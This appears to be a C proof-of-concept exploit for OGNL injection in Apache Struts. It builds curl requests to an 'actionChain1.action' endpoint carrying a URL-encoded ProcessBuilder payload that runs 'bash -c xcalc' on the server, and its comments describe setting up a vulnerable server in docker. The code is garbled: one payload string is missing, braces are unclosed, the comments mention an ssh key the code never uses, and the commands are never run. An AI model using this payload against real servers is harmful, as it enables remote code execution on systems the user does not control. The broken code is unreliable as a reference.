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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include "utils.h"
// NOTE:
// This exploit will not normally work if Struts is running in a docker
// container, because you cannot pop a calculator from inside docker. There
// are two ways to solve this problem. The first solution is to pass the
// following extra arguments on the `docker run` command line, to enable X
// applications to run from within the container:
// ```
// -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix
// ```
// The second solution is to run Struts outside of docker. The easiest way
// to do this is to follow the instructions in the README for building
// Struts in docker. Then just copy the tomcat directory out of docker. To
// do that, start docker like this:
// ```
// docker run -v `pwd`:/home/victim/temp -i -t struts-server
// ```
// And inside docker, copy the tomcat directory into `temp` which is mapped
// to the directory that you started docker from:
// ```
// cp -r apache-tomcat-9.0.12/ temp/
// ```
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("usage example:\n");
return 1;
const char* url = argv[1];
// Scratch buffers for building the curl command line.
char scratch1[2048];
char scratch2[2048];
char cmd[4096];
// First OGNL payload, which we need to urlencode and send to the Struts
// server with curl.
const char* url1 =
// urlencode the first payload and send it to the Struts server.
urlencode(scratch1, sizeof(scratch1), url1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch1);
// Second OGNL payload. We need to paste our ssh key into the middle of
// this string and urlencode it.
const char* url2 =
"(#p=new java.lang.ProcessBuilder({'bash','-c','xcalc'})).(#p.start())}";
// Escape any slash characters in the ssh key, to stop Tomcat from
// intercepting them.
escape_forward_slash(scratch1, sizeof(scratch1), url2);
urlencode(scratch2, sizeof(scratch2), scratch1);
snprintf(cmd, sizeof(cmd), "curl %s/%s/actionChain1.action", url, scratch2);
return 0;
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